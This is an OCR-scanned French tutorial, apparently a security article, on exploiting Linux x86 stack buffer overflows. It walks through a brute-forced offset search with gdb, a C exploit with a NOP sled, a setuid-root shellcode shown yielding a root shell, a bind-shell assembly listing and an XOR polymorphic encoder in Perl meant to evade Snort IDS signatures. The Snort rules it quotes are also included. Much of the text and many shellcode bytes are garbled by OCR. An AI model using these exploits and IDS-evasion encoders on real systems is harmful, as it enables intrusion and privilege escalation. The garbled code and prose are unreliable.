notre shellcode (°bouclefory)etavec | 6adr(eeBréptégdes qed oud®bor de

du tampon (#**bouclefor).

On remar que (¢ u éhalloodgB®dtets e cdde heradécimad 0x90 ont
étérajoutts Ces opcodes corr es NoOPdratioxet sontdrédenta st r u c
uniguement pour que Ehellcodeait une taille de multiple de 4 octe@n comprend bien que
dans le cas invers&IP serai&crasé avec une mauvaise adresse de retour, comme par
exempleOxfae6bfffa la place de ffffaeg ceci étant d0 a un décalage de 1 a 3 oétets

Tout est prét, reste a lancer natsploitdans une boucle en utilisant un pewstell
scripting

deimos@I33th0x:~/stackoverflow $ for i in “seq 100 10 600°; do echo "Tentative
I'offset $i"; ./exploit $i 120; done

Tentative a l'offset 100

Quit

Erreur de segmentation (core dumped)

Tentative a l'offset 110

Quit

Instruction illégale (core dumped)

Tentative a l'offset 120

Quit
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Erreur de segmentation (core dumped)
Tentative a l'offset 130
Quit

Erreur de segmentation (core dumped)

[.]

Tentative a l'offset 370

Quit

Erreur de segmentation (core dumped)
Tentative a l'offset 380

Quit

Tentative a l'offset 390

Quit

Tentative a l'offset 400

Quit

Erreur de segmentation (core dumped)
Tentative a I'éfset 410

Quit

Erreur de segmentation (core dumped)
Tentative a l'offset 420

Quit

Erreur de segmentation (core dumped)

[...]
deimos@I33thOx:~/stackoverflow $

On remargue qubéentre |l es offsets 380 et 4
signalsegfault On se doute alors que | e ekitjeudoncd 6 e x ®c
guodune p a shelicoeleest exécutéo Afin de connaifreb adr esse exacte av
ecraser EIP pour que tout nosteellcodes e | ance, il suffit doexami
segfauto bt enu avec | 6offset | e plus proche (on
avons un espace de 10 octetsv@aximum a lire afin de tomber sur le débustallcodé.

deimos@I33tb0x:~/stackoverflow $ ./exploit 370 120
Quit

Erreur de segmentation (core dumped)
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deimos@I33th0Ox:~/stackoverflow $ gdb ./vuln core

[...]

Core was generated by "./vuln
jP4$Pjrfhdihtest1A°(&I1A°101UGY¢ UGy, Uaye Uaye Uaye Uaye Uaye Uaye Uaye, .
Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/tls/libc.s0.6...done.

Loaded symbols for /lib/tls/libc.s0.6

Reading symbols from /lib/Hinux.so.2...done.

Loaded symbols for /lib/Kinux.so.2

#0 Oxbffffada in ?? ()

(gdb) p Seip

$1 = (void *) Oxbffffada

(gdb) p $ebp

$2 = (void *) Oxbffffada

(gdb) x/32x $eip

Oxbffffada: 0x2f2e0000 0x6e6c7576  0x90909000 0x3480506a
Oxbffffaesa: 0x726a5024  0x69646866  0x73657468  0xb0c03174
Oxbffffafa: Oxcde38928  0xb0c03180  0xcddb3101  Oxfffada80
Oxbffffo0a:  Oxfffadabf  OxfffadabfOxfffadabf  Oxfffadabf
Oxbffffola: Oxfffadabf  Oxfffadabf  Oxfffadabf  Oxfffadabf
Oxbffffo2a: Oxfffadabf  Oxfffadabf  Oxfffadabf  Oxfffadabf
Oxbffffo3a: Oxfffadabf  Oxfffadabf  Oxfffadabf  Oxfffadabf
Oxkffffod4a: Oxfffadabf  Oxfffadabf  Oxfffadabf  Oxfffadabf
(gdb) quit

deimos@I133th0x:~/stackoverflow $

On v®rifie rapidement que EIP et EBP ont
voul ue (au cas 0¥ 32éc)ets qupsuiverst EIB qui se sitieidonadares | e s
pile. Rappelonsous le début de notehellcode «\x90\x90\x90\x6ax50\x80 ». On
| par-oit 9 octets apr s Oxbffffada. Une tren
| 6adresse de retour, ce qui rsibue & Oxhfffta@3ysait nc q u
unoffsetd e 379 octets par rapport ° | b6adresse de

deimos@I33th0x:~/stackoverflow $ mkdir testdir
deimos@I133thOx:~/stackoverflow $ Is

core exploit exploit.c get_esp get _esp.c notesiodes.txt~ sc testdir vuln vuln.g
deimos@I33tb0x:~/stackoverflow $ ./exploit 379 120

Quit

deimos@I133thOx:~/stackoverflow $ Is

core exploit exploit.c get_esp get _esp.c notes.txt notes.txt~ sc vuln vuln.c
deimos@I33th0Ox:~/stackoverflow $

30



Notre expl oi t armie prévuesCemendant, pnaginen® dansuo
contexte autre que cetaii , -adite®slé processus vulnérable ne toyras en local et ou
VOuS ne connaisset la version exactdu noyau Linux installéeni6 adr esse de | a b
pil e. Connashdlocods |wmo fdf csteett dpur s est donc d®I i
technique de rempl i s s argsfréquemmentdarsds esploits OP est u

Le premier schéma est celui de ngiagloadactuel, et le second celui avec NOP

\

Shellcode Adresse de retour répéteée

X octets (taille du buffer) - x + 8 octets

\ R |

Adresse de
NOPs Shellcode retour
(taille du buffer) - x octets X octets 8 octets

On se rend compte qubdbavec cette technique
possible de un octet a (taille Quffen i (taille dushellcodg octets. Dans le cas précédent,
nous avions ushellcodede 36 octets et upufferde 120 octetsnous avons alors une marge
déerreur de 84 octets.

Voici donc notre nouvetxploit:

deimos@I33tb0x:~/stackoverflow $ cat >exploit.c
#include <malloc.h>

char shellcode[] =
"\ x6aA X500 X8O X3AX2A X500 X6 X7AX60 X68 X6AXO6AX6 X7AX6DX7AX7AX3I\XC

O\xbOA\x28 x8A xe3d xcd x8A x31\ xcO xbO x0Nx3 N\ xdb\xcd x80";
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unsigned long find_esp() {
__asm__("movl %esp, %eax");

}
int main(int argc, char **argv) {
if(argc < 3) {
printf("Usage : %s [offset] [buffer_sixa], argv[0]);
return 1;
}

char *buff, *ptr_buff;

unsigned long ret, pitr_ret;

inti;

unsigned int offset, buffer_size;

offset = atoi(argv[1]);
buffer_size = atoi(argv[2]);

buff = (char *)malloc(buffer_size + 2*4);
ptr_buff = buff;

memset(ptr_buff,\x90', buffer_sie - strlen(shellcode));
ptr_buff += buffer_sizestrlen(shellcode);

for(i=0; i<strlen(shellcode); i++)
*(ptr_buff++) = shellcodeli];

ptr_ret = (long *)ptr_buff;
ret = find_esp() + offset;

for(i=0;i<2; i++)
*(ptr_ret++) = ret;

ptr_buff = (char *)ptr_ret;
*ptr_buff = 0;

execl("./vuln", "./vuln”, buff, NULL);

return O;
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deimos@I33thOx:~/stackoverflow $ mkdir testdir
deimos@I33th0Ox:~/stackoverflow!$

exploit exploit.c get_esp get esp.c notes.txt notes.txt~ sc testdir vuln vuln
deimos@I33th0x:~/stackoverflow $ ./exploit 370 120

Quit

deimos@I33thOx:~/stackoverflow $ Is

exploit exploit.c get_esp get_esp.c notes.txt notes.txt~ sc wulimc
deimos@I33tb0x:~/stackoverflow $ mkdir testdir
deimos@I33tbOx:~/stackoverflow $ ./exploit 430 120

Quit

deimos@I33thOx:~/stackoverflow $ Is

exploit exploit.c get_esp get_esp.c notes.txt notes.txt~ sc vuln vuln.c
deimos@I33tbOx:~/stackovediv $ mkdir testdir
deimos@I33thOx:~/stackoverflow $ ./exploit 450 120

Quit

deimos@I133thOx:~/stackoverflow $ Is

exploit exploit.c get_esp get_esp.c notes.txt notes.txt~ sc vuln vuln.c

Le proof of concepest ckdessus notreshellcodese charge sarssn c ombr e de | 60
3702450 caédeisrte dans une z o:raleod éedrouventles MOP8.0 o ct et

3.4. Exemples de shellcode

Notre exemple précédent était fort sympathique, mais malheureugeasdns utile

Voyons ~ pr®sent une part syscallkeedoncaveague | 6on p
shellcode

Le premiershellcodeque |j 6ai cod® pour :icperinetarti cl e e
doobt eni rshed root(h acordidn que re binadrai le bit suid a 1) grace aayscalls
sys_setuidsys_setgigttexecvel | suf fit donc dsewid()setgid(@etsucces

exedwa(ind shé, {6/ bin/shé, NULL}, NULL)
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deimos@I33th0x:~/stackoverflow/shellcode $ cahell _root.asm
BITS 32

global _start
segment .text

_start:
; int setuid(uid_t uid)
XOr eax, eax
mov al, 0x17 ; Sys_setuid
Xor ebx, ebx
int 0x80

; int setgid(gid_t gid);

XOr eax, eax

mov al, 0x2e ; Sys_stgid
Xor ebx, ebx

int 0x80

; int execve (const char *fichier, char * constargv [], char * constenvp[])
XOr eax, eax

mov al, OxOb ; SYyS_execve
push byte 0x50

xor [esp], byte 0x50

push byte 868

push word 0x732f

push 0x6e69622f

mov ebx, esp

xor edx, edx

push edx

push ebx

mov ecx, esp

int 0x80

; void exit (int status)
XOr eax, eax

mov al, 0x01

Xor ebx, ebx

int 0x80
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deimos@I33thOx:~/stackoverflow/shellcode $ cédst.c

char sc[] =
"\x3I\xcOXbOAX1AX3Nxdbxcd x8Ax3NxcOxbAx2e x3\xdb xcd x8x31\xcO xb0
\X0B X6 x50 x8AX3AXx2AX50 X6 X68 X606 X68 X2\ X7 A X68 x2AX6AX6AX6E X8
Xe3AX3NUXd2AX52Ax5Ax8Axe N\ xcd xBA X3 xcOxbAXx0Nx3N\xdbixcd x80";

int main() {
int (*shellcode)();
(int) shellcode = sc;
shellcode();

}

deimos@I33tb0x:~/stackoverflow/shellcode $ godest test.c

test.c: Dans la fonction « main »:

test.c:5: attention : use of cast expressions as lvalues is deprecated
deimos@I33thOx:~/stackoverflow/shellcode $ su

Password:

I133tb0x:/home/deimos/stackoverflow/shellcode# chown root:root test
I33tb0x:/home/deimos/stackoverflow/shellcode# chmod ug+xs test
I133tb0Ox:/home&deimos/stackoverflow/shellcode# exit

exit

deimos@I33th0x:~/stackoverflow/shellcode $ id

uid=1000(deimos) gid=1000(deimos)
deimos@I33tb0Ox:~/stackoverflow/shellcode $ ./test
I133tb0x:/home/deimos/stackoverflow/shellcode# id

uid=0(root) gid=0(root)

Le secondshellcodeestunpeupt compl exe, ®t ant donn® qud
structures et un nombre pl ubindshellcoretdiderun s de f
shelllié a unesocket(connexion).

Toutes les fonctions sur lescketelles quesocket(), bind()¢ s @appelées par
I 61 nt er ns@dallsgsi socketcallile numéro dsyscallétant toujours contenu par

-, e s

correspondantes aux différentes foncti@amarait deinclude/linux/net.l:

#define ¥S_SOCKET 1 [* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 [* sys_connect(2) */
#define SYS_LISTEN4 *Isys_listen(2) */
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#define SYS_ACCEPT

#define SYS_SEND
#define SYS_RECV
#define SYS_SENDTO
#define SYS_RECVFROM
#define SYS_SHUTDOWN

#define SYS_SENDMSG
#define SYS_RECVMSG

5

#define SYS_GETSOCKNAME
#define SYS_GETPEERNAME
#define SYS_SOCKETPAIR 8

9

10
11
12
13

#define SYS_SETSOCKOPT14
#define SYS_GETSOCKOPTL5

16
17

[* sys_accept(2)

* sys_getsockname(2)
[* sys_getpeername(2)
* sys_socketpair(2)

* sys_send(2)

[* sys_recv(2)

[* sys_sendto(2)

[* sys_recvfrom(2)

/* sys_shutdown(2)

[* sysessockopt(2)

[* sys_getsockopt(2)
[* sys_sendmsg(2)

[* sys_recvmsg(2)

*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/

Les structures suivantes pourraient également nous étre utiles (extrait de

include/netinet/in.):

struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];

h

struct in_addr {
unsigned long s_addr;

h

On peut ainsi se lancer sans probleme dans la programmation deheditedga

condition de connaitre un péessocketdJNIX). Comme dans le code assembleur précédent,

j 6ai pr ®ellccdlec oMmPe ®hemsi bl e

extrémement optimisé et dont la lisibilité est bien plus difficile pour un débutant. A vous de le

| a

sheleode 1 e

rende le plus court possibleachant quée plus petitbind shelltient en un peu moins de 80

octets &
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deimos@I33tb0x:~/stackoverflow/bind_shell $ cdtind_shell.am
BITS 32

global _start
segment .text

_start:
; int socket(int domain, int type, int protocol)

XOr eax, eax

mov al, 0x66 ; sys_socketcall

xor ebx, ebx

inc bl ; socket()

xor edx, ex

mov dl, 0x06

push edx ; protocol = TCP

mov dl, 0x01

push edx ; type = SOCK_STREAM
mov dl, 0x02

push edx ; domain = AF_INET
mov ecx, esp ; adresse des arguments
int 0x80

; int bind(int sockfd, struct sockaddr *my_addr, socklen_t addrlen)

mov edi, eax ; sauvegarde du descripteur de socket serveur
XOr eax, eax

mov al, 0x66 ; sys_socketcall
xor ebx, ebx

mov bl, 0x02 ; bind()

xor edx, edx

push edx

push edx ; padding

push edx ; adresse IP 0.0.0.0
push word 0x9999 port 39321

mov dl, 0x02

push dx ; PF_INET

mov edxesp ; my_addr

XOr ecx, ecx

mov cl, 0x10
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push ecx ; addrlen = 0x10

push edx ; my_addr

push edi ; sockfd=descripteur de socketerveur
mov ecx, esp ; adresse des arguments

int 0x80

; int listen(int s, int backlog)

XOr eax, eax

mov al, 0x66 ; Sys_socketcall

xor ebx, ebx

mov bl, 0x04 ; listen()

xor edx, edx

inc edx

push edx ; backbg =1

push edi ; s = descripteur de sockserveur
mov ecx, esp ; adresse des arguments

int 0x80

; int accept(int s, struct sockaddr *addr, socklen_t *addrlen)

XOr eax, eax

mov al, 0x6 ; sys_socketcall

xor ebx, ebx

mov bl, 0x05 ; accept()

xor edx, edx

push edx ; addrlen = NULL

push edx ;addr = NULL

push edi ; s = descripteur de socket
mov ecx, esp ; adresse des argumengerveur
int 0x80

; int dup2(int oldfd, int newfd);

mov ebx, eax ; sauvegarde du descripteur de socket client
XOr eax, eax

mov al, Ox3f ; sys_dup2

XOr ecx, ecx

int 0x80
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; int dup2(int oldfd, int newfd)
XOr eax, eax

mov al, Ox3f ; sys_dup2
inc ecx

int 0x80

; int dup2(int oldfd, int newfd)
XOr eax, eax

mov al, Ox3f ; sys_dup2
inc ecx

int 0x80

; int execve (const char *fichier, char * constargv [], char * constenvp[])
XOr eax, eax

mov al, 0x0b ; SYyS_execve
push byte 0x50

xor [esp], byte 0x50

push byte 0x68

push 0x7361622f

push 0x6e69622f

mov ebx, esp

xor edx, edx

push edx

push ebx

mov ecx, esp

int 0x80
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4. Technigues avancées de programmation
de shellcode

Dans cette partie nous alkaborder deshellcodesd 6 une f or me plut®t p

qui se modifientewxn® me s, d 6 o ¥shdlldodepgyenodrphigLd/oyons a présent
les avantages (et inconvénients) du polymorphisme.

Lors des exploitatiors de buffer overflona distance, lepaquets qui contiennent le
payloadpeuvent étre intercepté et examiné par un NIR&Work Based Intrusion Detection
Systen) t el que Snort sous |l es syst mes GNU/ Lin
di sposent doune bas emidreaalehhadiisus, dfiedesi gnat ur e
détecter des flux réseamalveillants.

Snort dispose dobéun ens e ndiclsmortrdes/Lesieglesat ur e s
de filtrage de Snort sont généralement de la farme

action protocole ip_source port_souree ip_dest port_dest(options de rég

Exemples

| 22dNy Il ftAasS G2dza tS&a TftdzE SEGSNYySa
# destination du port 80 sur la plage 192.16801192.168.0.255

log tcp any.1024-> 192.168.0.0/2480

I R2yyS S YSaal 3S Reitein&pibvEnad de toBtpatzied
# a destination du port 22

~ A s oA = 4 A

content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 »O|";
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Les régles de Snort count detrés nombreux domaineen effet on en trouve pour
détecter les flux sortants de Peer to Peer, de messageries instantanéasletatesmais
égalementafile donner | 6alerte en cas de flux entr
suite 4 ®ONDP)U est souvent synonyme dieellcode

Lesshellcoas peuvent étre détectés de nombreuses maniéres, étant donné leur
structure commune

x Une suite de plusieurs UdOPsaines (voire ce

x Laprésencedgyscallet doncrrudianOXd8® i htbe nsintOGx@e t i on ¢
correspond aux opcodes 0xCD80

x La pr®sence dbéune cha" " ne de caexacwe) res su
par exemple, comme/Bin/sh»

x La r®p®tition en fin de choxbffftexx de | dadres

Si | 6 o n | xdithiers/etaisnort/tuled/sheficade.rules
letc/snort/rules/exploit.ruleon constate que Snort la base de données de signatures sur les
shellcodsde Snort ndéest pas tr s exhgusanwves Joutk
veut rester stealth». La réponse ée soucke trouve dans le polymorphisme dégllcods,
qui va nous prmettre de bypasser ces régles assez facilement.

alert ip SEXTERNAL_NET $SHELLCODE -PORTSIE_NEdhy (msg:"SHELLCOM
x86 setgid 0"; content:"|BO B5 CD 80|"; reference:arachnids,284; classtype:syst
calldetect; sid:649; rev:8;)

alert ip SEXTERNAL_NET $SHELLCODE -POROSIE_NET any (msg:"SHELLC(
x86 setuid 0"; content:"|BO 17 CD 80|"; refereneeachnids,436; classtype:system
calldetect; sid:650; rev:8;)

alert ip SEXTERNAL_NET $SHELLCODE -POROSIE_NET any (msg:"SHELLC(
x86 NOOP"; content:"[90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; depth:128;
reference:arachnids,181; classtype:shelleatbtect; sid:648; rev:7;)

alert ip SEXTERNAL_NET $SHELLCODE -POROSIE_NET any (msg:"SHELLC
Linux shellcode"; content:"|90 90 90 E8 CO FF FF FF|/bin/sh™;
reference:arachnids,343; classtype:shellcatigect; sid:652; rev:9;)

alert tcp $SEXTERNAL TN&hy-> $HOME_NET 22 (msg:"EXPLOIT ssh CRC32 ov
/bin/sh"; flow:to_server,established; content:"/bin/sh"; reference:bugtraq,2347;
reference:cve,200D144; reference:cve,2000572; classtype:shellcoetdetect;
sid:1324; rev:6;)
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Ce polymorphisme permet égalemenshellcoddnitial de contenir desctets
NULL; ceci ®tant d% ~ | 6encodage des octets.
peu plus le code assembleur, mais ce gainytissera perdu car le plus gros inconvénient du
polymorphisme est le gain de taille en octets, d( awtale la routine de décryptage.

La premiére partie de ce chapitre sera consacréstalixods polymorphiquesle
base, puis nous verrons un second type de polymorphisme plus avancé qui nous permettra
déobt shelicodeeumnnn i r ement a lsttira sansma@unicaractere autced e
gue [09A-Zaz]. Enfin, la derniére partie traitera du camouflageNi@®s pui squbi | s
constituent souvent une signaturepdtyload comme on le voit dans le fichier de regles de
Snort.

4.1. Shellcode polymorphique

Avant de se lancer dans la programmation assembleur, un peu de théorie afin de
définir clairement la structure de nosieellcode polymorphiquée schéma suivant présente
la composition de notnegayload:

Y . I

Shellcode Adresse
NOPs “décodeur” Shellcode crypté de
écodeur o
Clé XOR
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Les étapes pour coder un sékelicodesont dondes suivantes

Coder leshellcodede base
Le crypter par XOR avec une alé 8 bitsncrémentée a chaque itération, en vérifiant
gubdaucun oct et Bhellcosleericdaddé NULL dans | e

x  Coder la routine de décryptage, qui précedera évidemmsin¢lieodecrypté

Déautres algorithmes basiques de cryptage
(voir en Annexes pour les propriétés mathématiques du XORpeut également utiliser une
simple soustr act3UBaouaddaiond@D) |. 6 iL mesdbtiu ipcansé oché o bt e
cryptage puissant, mais uniquement de cacher
détectées par |@¢IDS.

Il est obligatoire déutiliser une ¢l ® inc
octetcar dans le cas contrai) risquerait (dans le cas sleellcodale taille moyenne ou
grande) do o bNUE.nParrexechmes si nous tdeydnsencoder les opcodes suivants
avec la clé Oxganous obtiendrons un oct&tJLL, et plus la taille dghellcodeaugmente,
pluslecho x de ¢l ® déencodage sera restreint (voli

\ X3\ xcOxbOAx1Ax31\xdb\xcd x80 x31\ xcO xbO x28 x31\ xdb\ xcd x8A x31\ xcO x
bO\x0B x6a x50 X8O X34 X24A X50. X6 X68 X606, X68 X2\ x7A Xx68 x2A X6 A X6 x6€
\x8AxeAx3NxdAx5Ax54Ax8Axe N\ xcAx8Ax3NxcOxbAx0Nx31\ xdb\xccdx80

Cbest pourguoi nous adglispanten s édire madifisept a g e
a chaque itération. Pour les premiers octetshdlicodeci-dessus (qui nous rend ghell
root) , | 6 e n c @iticangmee rédutiah n e r

0x31 * Ox6a = 0x5b
0xc0 ™ Ox6b = Oxab
Oxb0 ” Ox6¢c = Oxdc

La routine de décryptage effectexeactement la méme opération algébrique, étant
donné que le OU exclusif (XOR) est symétrique

0Ox5b ~ Ox6a = 0x31
Oxab " 0x6b = 0xc0
Oxdc ™ Ox& = 0OxbO
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Voici donc la carcasse de nosiieellcode polymorphiquen langage assembleur

BITS 32
segment .text
global _start

_start:
jmp shortdata

decrypt: ; routine de décryptage
pop reg_offset
WX B ; remise a zero des registres

mov reg_key, Oxxx ;registrecontenant la clé delécyptage
mov reg_length, Oxea; registre contenant la longueur du shellcode

boucle: ; boucle de décryptage
movreg_acc, [reg_offset]

XOr reg_acc, reg_key

mov [reg_offset], reg_acc

inc reg_offset T 2y LIkaasS t £Q20G4S3G adzi
inc reg_key ; incrémentation de la clé

dec reg_length

jnz boucle

jmp shortshellcode

data:

call decrypt

shellcode

db Ox.. ; shellcode crpté

En optimisant au maximum la routine de décryptage, elle peut tenir en environ 25
octds. De pluspasser soshellcodepar un cryptage XOR ne co(jas grand chosdes
guel ques |l ignes suivantes de Per|l peuvent ve
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deimos@I133tb0x:~ $ cat >sc_xor.pl
#!/usr/bin/perl

use strict;
use vars gw(@content $opcode $key);

if($#ARGV < 0) {
print "Usage : perl sc_xor.pl [file1";
exit(1);

}

open FILE, "<$ARGV[0]";
$ =<FILE>;
close FILE;

$key = int(rand(255)) ;
@content = split ";

print "Key : 0x".unpack("H*", pack("C", $keyh";
print "Size : Ox".unpack("H*", pack("C", $#content)).",

foreach $opcode (@content) {
$opcode = $opcode " pack('C", $key++);
print "0x".unpack("H*", $opcode).", ;

}

deimos@I33thOx:~ $erl sc_xor.pl shellcode

Key : Oxe6

0xd7, 0x27, 0x58, Oxfe, Oxdb, 0x30, 0x21, 0x6d, Oxdf, Ox2f, 0x40, Oxdf, Oxc
28, 0x39, 0x75, Oxc7, 0x37, 0x48, 0xf2, 0x90, Oxab, 0x7c, 0xc9, Oxda, Oxaf,
, 0x69, 0x64, 0x6b, 0x2b, 0x76, Ox®e28, Ox6a, 0x60, 0x64, 0x82, Oxef, Ox3c
Oxdc, 0x5d, 0x44, 0x98, 0xf3, Oxde, 0x94, 0x24, 0xd6, Oxa7, 0x19, 0x28, 0X
d6. 0x9c.

Vérifions rapidement que notre script Perl effectue le bon algoritvae les premiers
octets dwshellcodgshell_root.asmi

0x31 " Oxeb6 =Hxd7
0OxcO ™ Oxe7 =0x27
Oxb0 ™ Oxe8 = 0x58
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Voici le code assembleur de notre nouvshellcode

BITS 32
segment .text
global _start

_start:
jmp short donnees

decrypt:

pop esi T NBOdzLISNI (A 2 yodR&ypté Q2 F
mov edi, esi

xor edx, edx ; edx = 0x00000000

push edx

pop ebx ; ebx = 0x00000000

mov dl, 0x36 : dl : taille de notre shellcode

mov bl, Oxe6 1 bl: clé XOR

boucle:

lodsb T OKI NB fedofyppté RS f Q

Xor eax, ebx ; décryptage

stosb T NBYLX IFOSYSyd LI N Q2
inc ebx ; incrémentation de la clé

dec edx

jnz boucle

jmp short shellcode

donnees:

call decrypt
shellcode:

db 0xd7, 0x27, 0x58, Oxfe, Oxdb, 0x30, 0x21, 0x6d, Oxdf, Ox2f, 0x40, Oxdf, Oxc]
0x28, 0x39, 0x75, 0xc@x37, 0x48, 0xf2, 0x90, Oxab, 0x7c, 0xc9, Oxda, Oxaf, Ox{
0x69, 0x64, 0x6b, 0x2b, 0x76, Ox6e, 0x28, 0x6a, 0x60, 0x64, 0x82, Oxef, 0x3c,
0x5d, 0x44, 0x98, 0xf3, Oxde, 0x94, 0x24, 0xd6, Oxa7, 0x19, 0x28, Oxcl, Oxd6,
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Avec ce modele dshellcode polymorphiquen peut sans probléeme coder des
shellcode de plus de 255 octet®n effet, une fois que la clériae a la valeur Oxff puis
0x0100, elle ne tient plus sur un seul octet, mais cela ne pose pas de soucis étant donné que
| 6 o n stoshigui estsue équivalent des instructionsyv [ed], al; inc ed; si le Direction
FlagestaOl | f aut domoaodosbasmdareas | a valeur 1 car
décrémentationduregisttblp | ut *'t qudune d®cr @Blorsdeat i on (d
| 61 nstodsh.Pobiuoncel a on pcld&lea Directioh Fag) avantlabouclet i 0 n
de décryptage.

4.2. Shellcode alphanumeérique

Une fome plus avancégu polymorphisme de base> vu précédemmeipermet de
composer ushellcodee nt i r ement en |-aediretff9A-BazleAinsitehi f fr es,
shellcodecrypté devra étre alphanumérique, mais lgine de décryptage également. Cette
technique est toutefois bien plus complexe, ceci étant dd au fait que nous avons un jeu
déinstructi ons .®espus, fakileedshellcadeentier sefai mi t ®
considérablement plus grande par rappogtaicodeinitial, car une boucle de décryptage
est impossible pour de trés nombreuses raisons.

4.2.1 Instructions disponibles
x INC [e][cx; dx; bx; sp; bp; si; dli

L6i ncr ®ment ati on -otlitédgsoegisresi32 et16 bits.iEndffet, qu a s
les nstructiondNC eaxetINCaxn 6 ent r ent ¢harset(jed dercaracteredes e
instructionsinc e[cx; dx; bx; sp; bp; si; disont codés sur un octet, et leurs opcodes sont
situés surlaplage Ox[44 7 ] , -adiré[A-&StEnce qui c oémerdatiomdes| 6i n
registresl6 bits, elle est codée sieuxoctets:| 6 o@x @6 (caract re 6f06) a
corr es pon anamation du rdgistre de32 s

inc ecx 0x41 A
inc cx 0x6641 fA
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L6incr®mentation des registres etke 8 Dbits
i mpossible, ePtand®bdanhe®pqudl doctet Oxfe, qui
de la table ASCII étenduk. | est ®gal ement i mpossible doeff
inc m8; inc m16; inc m32comme par exemplac byte [eax]

x DEC [r32;r14

La décrémentation est possible sur tous les registres 32 bits et 16 bits, étant donné que
|l a pl age doo4f]¢le-Olppour lessragist@s3R dit8 et 0x66{48 (f[H-O])
pour les registres 16 bits. Cette instruction ne permatma®n pl us do edtidn®ct uer
sur les registres 8 bits ou sur des octets en mémoire.

x  PUSH[r32; r16; imm8; imm16; imm32]

On peut s e s e rpushsurtodsdes tedistras 82 et 16 bits, airmsique

pour empiler des valeurs sur lapileiss passer par un registre. Lo
bits est cod® sur un octet, cel ui dgushn r egi s
r32. En ce qui concerne | 0empil age doun octet
un dword Ox68xxxxxxxx et pour empiler uword 0x6668xxxx.ln 6 est cependant p
possible doéoempiler des octets de | a m®moire.

push ecx 0x51 Q

push cx 0x6651 fQ

pushbyte W Q _ Ox6abl ja

LJdza K @ 2 NR VO%66862|.61 fhaa

LJdza K R ¢ 2 NJROx886161651610Q haaaa

x POP [e][ax; cx; dk

L6i n s tpopguant & elene peut uniquemeéirte utilisée sur quelques registres
géneéraux 32 bits et par conségt sur leurs équivalents 16 bits.
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x  POPAD

Cette instruction permet de d®pi IEDl, tous
ESI, EBPESP,EBX, EDX,ECXetEAXAucun op®r ande ndest donc
L6instruction POPAD ,e sOtx 6¢clo d(®ea rsaucrt urne soéeaudl) .o
PUSHAD nbdest pas disponible, ayant pour opco

x XORT/m8, r8
XOR r/m32, r32
XOR 18, r/m8
XOR r32, r/m32
XOR al, imm8
XOR eax, imm32

L6instruction XOR va °dhellemdelalphanpmériqu&n ma’ t r e
effet, comme avec le précédemment, nous allons encodeshetieodenitial avec un

cryptage XOR t out ef ois nous néavons ici aucune au
«cryptagege ®t ant donn® qudaucune auBDDeSUB& sd ruct i c
sont disponiblescCo mme | 6i nstruction XOR poss de deux
peuvent tout aussi bien étre des registres, des valeurs ou des pointeurs mémoire, il faut étre
tr s rigoureux sur ce que | 6osn pourra effect
Ci-dessus soneprésentédses i nstructions dont | dopcode
« charset». En effet, ces opcodes sont situ®s entr
Toutefois toutes | es instructdgopénaadesdeit sont pa

®gal ement °tre al phdessausr®usipernetra de migwx xoenprgndre c i
les phrases précédentes.

xor [edx+0x41], ebx 0x315A41
xor [edx], ebx 0x311A
xor edx, ebx 0x31DA

Le premier opcode est donc effectivement
en fonction des deux opérandeddéi nstructi on (et ®ventuel |l eme
une valeur au registre pointeur).
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Cet octet, Ox1A |l orsque | 06o0on
ebx comme dans | 6exempl e pr ®c ®dentrbis est appe

champs

a

[ edx], ebx

x Champ «/m»: 3 bits: il détermind 6 o p ®r a n daedirercéllenétantard e s t
pointeurouunregistel or sque | 6on effectue des instr
commeXOR eax, ebxle champ r/m correspond au registre de destinatoBAX)

Champ«»:3bits: i | d®t er mi n-&dirke éelle@t@nt umn nedisdre r ,

Champ «nod»: 2 bits: il d®t er adiessagdulcleampromd e d 6

00: adressage indirecexemple [eax]

01: adressage indirect avec basé u n igné Gigned bydg
c 6 é-dire de-0x80 a +0x7f exemple [eax+0x70]

10 adressage indir enottsignédigred b as e

double word ; exemple [eax+0x700]
11: registre; exemple eax

r/m r mod
3 bits 3 bits 2 bits

o

Structure de I’octet ModR/M

En effet 0x1A = 00011010b, ce qui correspbieh a un adressage indirect sans base.
On en déduit donc que EDX a pour code 010b et EBX 011b. On peut ainsi dresser un tableau

contenant I

es 278 valeurs possibles de | 6oct
sont | es instrnuetfifecs ueue alv@@en |l pep ®r ati on XC

ToutefoisIntel nous fourni ce tableau dans le maru&tl Architecture Software

A

Devel oper 6s

nstructi on

Mimstructoh SeVReferangeeir page suivante). Il a été
modifié pour cet article afin de marquerlesvalgusur | equ e |
caractére alphanumeérique, et donc savoir quelles opérandes sonthlispavnec notre

XOR (ou toute autre
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Table 2-2. 32-Bit Addressing Forms with the ModR/M Byte

r8{/r) AL CL DL BL AH CH DH BH
r16(/r) AX CX DX BX 5P BP S DI
ra2(ir) EAX |ECX |EDX |EBX |ESP |EBP |ESI EDI
mm(/r) MMO | MM1 | MM2 | MM3 | MM4 | MM5 | MM& | MM7
xmm(-’g XMMO | XMM1 | XMM2 | XMM3 | XMM4 | XMM5 | XMMB | XMMT
(digit (Opcode) 0 1 2 3 4 5 [ 7
REG = 000 001 010 011 100 101 110 1M1
Effective
Address Mod | RIM Value of ModR/M Byte (in Hexadecimal)
[EAX] 00 000 00 08 10 18 20 28 30 36
[ECX] 001 01 09 11 19 21 29 31 39
[EDX] 010 02 0A 12 1A 22 2A 32 3A
[EBX] 011 03 0B 13 1B 23 2B 33 3B
[ -y 100 04 oc 14 1C 24 2C 34 3cC
disp32? 101 05 oD 15 1D 25 2D 5 3D
[ESI] 110 06 0E 16 1E 26 2E 36 3E
[EDI] m a7 oF 17 1F 27 2F 37 3F
disp8[EAX] 01 000 40 || 48 50 a8 E 60 68 70 78
disp8[ECX] 001 41 49 51 59 61 69 71 79
disp8[EDX] 010 42 4A 52 5A 62 6A 72 TA
disp8[EBX]; 011 43 4B 53 5B 63 6B 73 7B
disp8[--][--] 100 44 4C 54 5C 64 6C 74 ic
disp8[EBP] 101 45 4D 55 5D 65 6D 75 7D
disp8[ESI] 110 46 4E 56 5E 66 6E 76 TE
disp8[EDI] m 47 4F 57 5F 67 GF 77 TF
